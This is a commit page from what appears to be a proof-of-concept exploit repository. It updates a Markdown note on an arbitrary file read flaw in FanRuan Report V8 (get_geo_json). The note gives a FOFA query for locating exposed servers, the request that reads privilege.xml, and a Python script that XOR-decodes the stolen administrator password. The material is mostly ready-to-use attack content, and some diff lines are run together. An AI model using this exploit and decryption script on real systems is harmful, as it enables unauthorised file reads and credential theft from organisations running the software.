admin/POC00
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Update 帆软报表 V8 get_geo_json 任意文件读取漏洞.md

Browse Source
This commit is contained in:
wy876 2023-12-14 12:54:37 +08:00 committed by GitHub
parent ffd8b64203
commit a58423bdb4
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 11 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

13
帆软报表 V8 get_geo_json 任意文件读取漏洞.md
View File

@ -1,9 +1,19 @@
## 帆软报表 V8 get_geo_json 任意文件读取漏洞 ## 帆软报表 V8 get_geo_json 任意文件读取漏洞
## fofa
```
body="isSupportForgetPwd"
```
## poc
``` ```
WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
```
获得账号密码后进行解密，解密脚本如下 获得账号密码后进行解密，解密脚本如下
解密脚本 ## 解密脚本
```python
cipher = 'XXXXXXXXXXX' #密文 cipher = 'XXXXXXXXXXX' #密文
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23]
Password = "" cipher = cipher[3:] Password = "" cipher = cipher[3:]
@ -12,5 +22,4 @@ c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8] c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
Password = Password + chr(c2) Password = Password + chr(c2)
print (Password) print (Password)
``` ```